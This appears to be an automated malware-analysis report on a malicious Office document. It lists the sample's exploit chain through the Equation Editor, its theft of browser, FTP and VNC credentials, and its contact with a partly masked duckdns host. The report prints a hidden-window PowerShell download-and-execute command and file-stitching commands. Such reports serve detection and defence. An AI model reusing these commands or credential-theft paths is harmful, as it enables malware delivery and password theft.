Technical Information
Malicious functions
Creates and executes the following (exploit)
- '<SYSTEM32>\wscript.exe' "%APPDATA%\svchost.vbs"
Downloads and executes
- http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/image.jpg
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKLM>\Software\ORL\WinVNC3]
- [<HKCU>\Software\ORL\WinVNC3]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\thunderbird\profiles.ini
- %APPDATA%\mozilla\firefox\profiles.ini
Modifies file system
Creates the following files
- %APPDATA%\svchost.vbs
- %APPDATA%\readme.txt
- %APPDATA%\readme.gif
- %APPDATA%\invoice_012200.pdf
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %APPDATA%\readme.txt
- %APPDATA%\readme.gif
Network activity
TCP
HTTP GET requests
- http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/invoice_124110.doc
- http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/svchost.vbs
- http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/image.jpg
UDP
- DNS ASK fi#############uptionswithmostgoodscanfi.duckdns.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\invoice_012200.pdf'
- '<SYSTEM32>\cmd.exe' "/c PowERsHelL.exe -EX Bypass -Nop -W 1 ieX((NEW-oBject Net.WEbCLIENt).DoWnloAdString('http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/image.jpg'))"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\winword.exe' -Embedding
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\cmd.exe' "/c PowERsHelL.exe -EX Bypass -Nop -W 1 ieX((NEW-oBject Net.WEbCLIENt).DoWnloAdString('http://fi#############uptionswithmostgoodscanfi.duckdns.org/suvchost/image.jpg'))"
- '<SYSTEM32>\cmd.exe' /C COpY /B %APPDATA%\Readme.txt + %APPDATA%\Readme.gif %APPDATA%\invoice_012200.pdf
- '<SYSTEM32>\cmd.exe' /c %APPDATA%\invoice_012200.pdf
